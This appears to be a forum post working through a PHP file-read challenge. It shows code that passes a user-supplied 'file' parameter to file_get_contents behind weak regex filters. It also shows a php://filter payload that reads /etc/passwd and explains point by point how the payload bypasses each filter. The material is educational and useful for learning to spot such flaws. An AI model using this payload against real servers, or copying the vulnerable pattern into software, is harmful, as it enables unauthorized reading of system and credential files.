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$pattern1 = '/[^[:print:]]+/'; // remove non-printable characters
$pattern2 = '/[ \t]+$/';  // remove whitespace at end of string
$pattern3 = '/^[ \t]+/';  // remove whitespace at beginning of string
$pattern4 = '/^[\\\\|\/]+/'; // remove leading slash if one exists
$pattern5 = '/^[\.\.\/|\.\.\\\\]+/'; // remove all ../ and all ..\ if any exist

echo "Welcome";
$data = $_GET['file'];
if (!preg_match($pattern1, $data)){
    if (!preg_match($pattern2, $data)){
        if (!preg_match($pattern3, $data)){
            if (!preg_match($pattern4, $data)){
                if (!preg_match($pattern5, $data)){
                    echo file_get_contents($data);
                }
            }
        }
    }
}

Payload: http://localhost:8080/php.php?file=php://filter/tmp/resource=/etc/passwd

Explanation:

• It has all printable characters so bypassed 1st condition.
• I used php://filter wrapper which is php specific so bypassed 4th condition.
• It doesn't start or end with space, so I bypassed 2nd and 3rd condition.
• I used absolute path to bypass 5th condition.

You can place anything between filter and resource: /filter/JUNK/resource

Note: I am not sure if I used preg_match correctly or something else, please correct me if I did something wrong. You may want to use file:// wrapper that isn't using php, as this payload is php specific.